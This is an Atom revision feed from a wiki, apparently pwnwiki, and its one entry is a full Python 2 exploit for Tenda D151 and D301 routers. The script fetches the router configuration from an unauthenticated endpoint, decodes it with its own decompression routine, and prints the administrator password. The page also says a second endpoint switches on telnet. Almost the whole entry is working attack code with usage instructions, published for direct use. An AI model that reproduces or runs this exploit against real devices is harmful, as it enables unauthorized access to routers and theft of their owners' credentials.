<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Tenda_D151_%26_D301_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E</id>
	<title>Tenda D151 &amp; D301 未經身份驗證配置文件下載漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Tenda_D151_%26_D301_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Tenda_D151_%26_D301_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T16:40:40Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Tenda_D151_%26_D301_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E&amp;diff=1849&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Tenda D151 &amp; D301 - Configuration Download (Unauthenticated) # Date: 19-04-2021 # Exploit Author: BenChaliah # Author link: https://github.com/B...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Tenda_D151_%26_D301_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E&amp;diff=1849&amp;oldid=prev"/>
		<updated>2021-04-21T10:08:59Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Tenda D151 &amp;amp; D301 - Configuration Download (Unauthenticated) # Date: 19-04-2021 # Exploit Author: BenChaliah # Author link: https://github.com/B...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Tenda D151 &amp;amp; D301 - Configuration Download (Unauthenticated)&lt;br /&gt;
# Date: 19-04-2021&lt;br /&gt;
# Exploit Author: BenChaliah&lt;br /&gt;
# Author link: https://github.com/BenChaliah&lt;br /&gt;
# Vendor Homepage: https://www.tendacn.com&lt;br /&gt;
# Software Link: https://www.tendacn.com/us/download/detail-3331.html&lt;br /&gt;
# Versions:    &lt;br /&gt;
#   - D301 1.2.11.2_EN&lt;br /&gt;
#   - D301 V2.0 50.22.1.8_EN&lt;br /&gt;
#   - D151 V2.0 50.21.1.5_EN&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# --- Description --- #&lt;br /&gt;
&lt;br /&gt;
# This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage,&lt;br /&gt;
# you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too.&lt;br /&gt;
&lt;br /&gt;
# --- Proof of concept --- #&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import struct&lt;br /&gt;
import itertools&lt;br /&gt;
import random, sys&lt;br /&gt;
import requests&lt;br /&gt;
import base64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FETCH_CODE = &amp;quot;\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z&amp;quot;&lt;br /&gt;
ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'}&lt;br /&gt;
&lt;br /&gt;
CLEAR_CODE = 256&lt;br /&gt;
END_OF_CODE = CLEAR_CODE + 1&lt;br /&gt;
&lt;br /&gt;
MIN_WIDTH = 8&lt;br /&gt;
DEFAULT_MIN_BITS = MIN_WIDTH + 1&lt;br /&gt;
DEFAULT_MAX_BITS = 12&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def cmsDecoder(compressed_cfg):&lt;br /&gt;
    _cp_dict = dict((pt, struct.pack(&amp;quot;B&amp;quot;, pt)) for pt in range(256))&lt;br /&gt;
    _cp_dict[CLEAR_CODE] = CLEAR_CODE&lt;br /&gt;
    _cp_dict[END_OF_CODE] = END_OF_CODE&lt;br /&gt;
    prefix, offset, ignore = None, 0, 0&lt;br /&gt;
    codepoints_arr, remainder, bits = [], [], []&lt;br /&gt;
&lt;br /&gt;
    init_csize = len(_cp_dict)&lt;br /&gt;
&lt;br /&gt;
    codesize = init_csize&lt;br /&gt;
    minwidth = MIN_WIDTH&lt;br /&gt;
    while (1 &amp;lt;&amp;lt; minwidth) &amp;lt; codesize:&lt;br /&gt;
        minwidth = minwidth + 1&lt;br /&gt;
    pointwidth = minwidth&lt;br /&gt;
&lt;br /&gt;
    buts_arr = []&lt;br /&gt;
    for b in compressed_cfg:&lt;br /&gt;
        value = struct.unpack(&amp;quot;B&amp;quot;, b)[0]&lt;br /&gt;
        for bitplusone in range(8, 0, -1):&lt;br /&gt;
            bitindex = bitplusone - 1&lt;br /&gt;
            buts_arr.append(1 &amp;amp; (value &amp;gt;&amp;gt; bitindex))&lt;br /&gt;
&lt;br /&gt;
    for nextbit in buts_arr:&lt;br /&gt;
        offset = (offset + 1) % 8&lt;br /&gt;
        if ignore &amp;gt; 0:&lt;br /&gt;
            ignore = ignore - 1&lt;br /&gt;
            continue&lt;br /&gt;
        bits.append(nextbit)&lt;br /&gt;
        if len(bits) == pointwidth:&lt;br /&gt;
            cp_int = 0&lt;br /&gt;
            lsb_first = [b for b in bits]&lt;br /&gt;
            lsb_first.reverse()&lt;br /&gt;
            for bit_index in range(len(lsb_first)):&lt;br /&gt;
                if lsb_first[bit_index]:&lt;br /&gt;
                    cp_int = cp_int | (1 &amp;lt;&amp;lt; bit_index)&lt;br /&gt;
&lt;br /&gt;
            bits = []&lt;br /&gt;
            codepoints_arr.append(cp_int)&lt;br /&gt;
            codesize = codesize + 1&lt;br /&gt;
            if cp_int in [CLEAR_CODE, END_OF_CODE]:&lt;br /&gt;
                codesize = init_csize&lt;br /&gt;
                pointwidth = minwidth&lt;br /&gt;
            else:&lt;br /&gt;
                while codesize &amp;gt;= (2 ** pointwidth):&lt;br /&gt;
                    pointwidth = pointwidth + 1&lt;br /&gt;
            if cp_int == END_OF_CODE:&lt;br /&gt;
                ignore = (8 - offset) % 8&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    decodedBytes = []&lt;br /&gt;
    for cp_int in codepoints_arr:&lt;br /&gt;
&lt;br /&gt;
        suffix = &amp;quot;&amp;quot;&lt;br /&gt;
        if cp_int == CLEAR_CODE:&lt;br /&gt;
            _cp_dict = dict((pt, struct.pack(&amp;quot;B&amp;quot;, pt)) for pt in range(256))&lt;br /&gt;
            _cp_dict[CLEAR_CODE] = CLEAR_CODE&lt;br /&gt;
            _cp_dict[END_OF_CODE] = END_OF_CODE&lt;br /&gt;
            prefix = None&lt;br /&gt;
&lt;br /&gt;
        elif cp_int != END_OF_CODE:&lt;br /&gt;
            if cp_int in _cp_dict:&lt;br /&gt;
                suffix = _cp_dict[cp_int]&lt;br /&gt;
                if None != prefix:&lt;br /&gt;
                    _cp_dict[len(_cp_dict)] = prefix + suffix[0]&lt;br /&gt;
            else:&lt;br /&gt;
                suffix = prefix + prefix[0]&lt;br /&gt;
                _cp_dict[len(_cp_dict)] = suffix&lt;br /&gt;
            prefix = suffix&lt;br /&gt;
        decoded = suffix&lt;br /&gt;
        for char in decoded:&lt;br /&gt;
            decodedBytes.append(char)&lt;br /&gt;
    return decodedBytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def exploit(ip):&lt;br /&gt;
    print &amp;quot;[!] Downloading config&amp;quot;&lt;br /&gt;
    try:&lt;br /&gt;
        r = requests.get(&amp;quot;http://{}/goform/getimage&amp;quot;.format(ip))&lt;br /&gt;
        pass&lt;br /&gt;
    except:&lt;br /&gt;
        print &amp;quot;[-] Failed to download the config, the target may not be vulnerable&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    BIN_CONTENT = r.content&lt;br /&gt;
    BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50]&lt;br /&gt;
&lt;br /&gt;
    CONFIG_XML = b&amp;quot;&amp;quot;.join(cmsDecoder(BIN_CONTENT))&lt;br /&gt;
&lt;br /&gt;
    USER_, PASS_ = &amp;quot;&amp;quot;, &amp;quot;&amp;quot;&lt;br /&gt;
    for i in ADMIN_LOG_CFG.keys():&lt;br /&gt;
        if i in CONFIG_XML:&lt;br /&gt;
            CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:]&lt;br /&gt;
            PASS_ = CONFIG_XML[:CONFIG_XML.index('&amp;lt;/')]&lt;br /&gt;
            USER_ = ADMIN_LOG_CFG[i]&lt;br /&gt;
            print &amp;quot;\tusername: {}\n\tpassword: {}\n&amp;quot;.format(USER_, base64.b64decode(PASS_).rstrip('\x00'))&lt;br /&gt;
            return 0&lt;br /&gt;
    print &amp;quot;[-] Failed to decode the config file\n&amp;quot;&lt;br /&gt;
    return -1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) == 1:&lt;br /&gt;
    print &amp;quot;usage: python2 &amp;quot; + sys.argv[0] + &amp;quot; router_ip&amp;quot;&lt;br /&gt;
    print &amp;quot;example: python2 exploit.py http://192.168.1.1&amp;quot;&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
    print &amp;quot;&amp;quot;&amp;quot;\&lt;br /&gt;
        _  _&lt;br /&gt;
  ___ (~ )( ~)&lt;br /&gt;
 /   \_\ \/ /   &lt;br /&gt;
|   D_ ]\ \/  -- By BenCh@li@h&lt;br /&gt;
|   D _]/\ \  -- BenChaliah@github&lt;br /&gt;
 \___/ / /\ \\&lt;br /&gt;
      (_ )( _)&lt;br /&gt;
          &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    try:&lt;br /&gt;
        exploit(sys.argv[1])&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print str(e)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>